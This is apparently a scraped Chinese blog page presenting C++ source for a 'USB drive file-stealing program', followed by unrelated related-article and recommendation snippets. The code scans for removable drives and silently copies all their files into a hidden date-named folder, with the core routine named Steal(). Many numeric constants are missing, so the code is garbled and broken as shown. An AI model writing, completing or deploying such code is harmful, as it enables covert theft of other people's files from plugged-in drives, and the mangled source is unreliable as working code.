// Drives.cpp : 定义控制台应用程序的入口点。
// #include "stdafx.h"
#include "windows.h"
#include "string.h"
#include "direct.h"
#include "stdlib.h"
char dir[];
wchar_t* char2wchar(char *cStr)
{
size_t len = strlen(cStr)+;
size_t converted = ;
wchar_t *wStr;
wStr = (wchar_t*)malloc(len*sizeof(wchar_t));
mbstowcs_s(&converted,wStr,len,cStr,_TRUNCATE);
return wStr;
}
char* wchar2char(wchar_t *wStr)
{
size_t len = wcslen(wStr)+;
size_t converted = ;
char *cStr;
cStr = (char*)malloc(len*sizeof(char));
wcstombs_s(&converted,cStr,len,wStr,_TRUNCATE);
return cStr;
}
void Copy(char *FileName)
{
char dir2[];
strcpy(dir2,dir);
char *temp = strchr(FileName,'\\');
temp++;
strcat(dir2,temp);
CopyFile(char2wchar(FileName),char2wchar(dir2),);
}
void CreateDir(char *path)
{
char temp2[];
strcpy(temp2,dir);
char *temp = strchr(path,'\\');
temp++;
strcat(temp2,temp);
_mkdir(temp2); }
void GetFile(char *FilePath)
{
wchar_t* wFilePath = char2wchar(FilePath);
wchar_t temp[],temp1[];
wcscpy_s(temp,wFilePath);
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
wcscat_s(temp,L"*");
hFind = FindFirstFile(temp,&FindFileData);
wprintf(L"%s\n",FindFileData.cFileName);
if(hFind == INVALID_HANDLE_VALUE)
{
return;
}
else
{
do
{
wcscpy_s(temp1,wFilePath);
wcscat_s(temp1,FindFileData.cFileName);
if(wcscmp(FindFileData.cFileName, L".")!=&&wcscmp(FindFileData.cFileName ,L"..")!=)
{
if( FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )
{
wcscat(temp1, L"\\");
CreateDir(wchar2char(temp1));
GetFile(wchar2char(temp1));
}
else
{
Copy(wchar2char(temp1));
}
}
}
while( FindNextFile( hFind,&FindFileData ) );
}
FindClose(hFind);
}
int CheckDisk(char *disk)
{
wchar_t *wDisk = char2wchar(disk);
if(GetDriveType(wDisk)==DRIVE_REMOVABLE)//如果是可移动磁盘,返回true
return ;
return ;
}
int Steal()
{
char buf[];
DWORD lod=GetLogicalDrives();
if(lod)
{
for(int i=;i<;i++)
{
if((lod&)==)
{
sprintf(buf,"%c",'A'+i);
strcat(buf,":\\");
if(CheckDisk(buf))
{
if(GetVolumeInformation(char2wchar(buf),,,,,,,))//获取磁盘信息
{
GetFile(buf);
}
}
}
lod=lod>>;
}
}
return TRUE;
}
int _tmain(int argc, _TCHAR* argv[])
{
SYSTEMTIME st;
char dtime[],temp[];
GetLocalTime(&st);
_itoa(st.wYear,temp,);
strcpy(dtime,temp);
_itoa(st.wMonth,temp,);
strcat(dtime,temp);
_itoa(st.wDay,temp,);
strcat(dtime,temp);
_itoa(st.wMonth,temp,); _getcwd(dir,);
puts(dir);
strcat(dir,"\\");
strcat(dir,dtime);
strcat(dir,"\\");
_mkdir(dir);//创建新文件夹
Steal(); return ;
}

U盘文件偷窃程序的更多相关文章

  1. 将U盘分成 启动盘+文件存储区

    我看了很多帖子,发现想要将U盘分区的朋友绝大部分是和我一样,想用U盘做成一个启动盘同时兼顾文件存储,分区的目的很简单,就是想将启动部分单独做成一个区,以免在日常的应用中使得启动文件染毒或者误操作造成损 ...

  2. U盘文件被隐藏

    转自https://blog.csdn.net/zichen_ziqi/article/details/80171891 文章原地址:http://www.uqidong.com/help/1625. ...

  3. win10无法写入删改c盘文件的解决方法

    前言 最近使用了win10系统,结果发现无法对c盘的文件进行写入删改,在网上到处搜集资料,终于找到了解决方法,这里总结一下. 首先,本文针对的是win10家庭版,家庭版默认是不提供组策略功能,而我们需 ...

  4. [Java.File]如果写 File filesFolder = new File("/") ,在windows系统中,filesFolder 会去找哪个盘符? 答案:程序运行路径的根盘符.

    首先这段代码在Unix/Linux系统上会去找根路径,但在Windows系统上会去找C:盘还是D:盘还是其它盘呢? 其实它会去找user.dir所在盘符的根目录,user.dir即用户的当前工作目录, ...

  5. 添加/删除/读写c盘文件——c#

    一.前言: 有时候我们为自己的程序添加配置文件,如tet.ini.xml等文件,又或者保存软件运行时的日志 当我们把软件打包后,默认安装在c盘,而配置文件也会跟随生成在安装目录下 此时你会发现,配置文 ...

  6. 使用javascript实现html页面直接下载网盘文件

    公司新建一网站,用的是商派的易开店系统.设计方案中有一个是下载文件的功能,但易开店不支持上传资源,所以无法下载本站资源. 于是想到了网盘资源下载,有些网站是把页面链接到网盘资源文件下载页面,进行二次跳 ...

  7. linux下U盘文件只读的解决办法

    . 在终端运行如下命令 tail -f /var/log/syslog . 插入有只读文件系统故障的U盘 . 观察命令行输出 输出局部如下: Jul :: cslouis-pc kernel: [15 ...

  8. 【java】 linux下利用nohup后台运行jar文件包程序

    Linux 运行jar包命令如下: 方式一: java -jar XXX.jar 特点:当前ssh窗口被锁定,可按CTRL + C打断程序运行,或直接关闭窗口,程序退出 那如何让窗口不锁定? 方式二 ...

  9. u盘文件系统故障的修复方法

    比如U盘挂载的文件系统是/dev/sda1,且文件系统有故障(FAT: Filesystem error) 修复U盘文件系统故障 sudo dosfsck -v -a /dev/sda1

随机推荐

  1. Thymeleaf分页

    网上找到的例子回来测试一下 <div class="table-pagination"> <ul class="pagination"> ...

  2. Maya 建模完成后的整理

    我们在使用Maya建模完成后可能会进行发布,为了自己或他人的方便使用,我们需要对建立好的模型进行些处理: 1. 删除历史记录:选择模型,Edit -> Delete by Type -> ...

  3. unity3d插件Daikon Forge GUI 中文教程2-基础控件Label的使用

    我们先来设置 UI Root 中的如下:屏幕大小为1024*768 2.1  新建一个Label 控件 先来看看Control Properties (基本上是所有控件都共用的)的以后不再介绍,参数: ...

  4. 繁简体 互转 js

    html: <script type="text/javascript" src="/js/s2t.js"></script><s ...

  5. xss如何加载远程js的一些tips

    在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</ ...

  6. docker pipework

    #!/bin/bash #auto install docker and Create VM #Define PATH Varablies IPADDR=`ifconfig |grep "B ...

  7. WEB应用中的普通Java程序如何读取资源文件

    package cn.itcast; import java.io.IOException; import java.io.PrintWriter; import javax.servlet.Serv ...

  8. 【iCore3 双核心板】例程十八:USB_VCP实验——虚拟串口

    实验指导书及代码包下载: http://pan.baidu.com/s/1c1erqIc iCore3 购买链接: https://item.taobao.com/item.htm?id=524229 ...

  9. jdk动态代理学习

    在jdk的好多底层代码中很多都使用jdk的动态代理,下面就写写简单的代码来look look. 老规矩先上代码: public interface SayDao { public String say ...

  10. OAuth2.0 微博登陆网站功能的实现(一)获取用户授权及令牌 Access Token

    在登陆一些网站的时候,可以选择登陆方式为第三方登陆,例如微博登陆,以爱奇艺为例,进入首页,点击 ”登陆“,会弹出登录框: 除了本站登陆外,还可以选择其他第三方登陆,比如微博登陆.QQ 登陆.微信登陆等 ...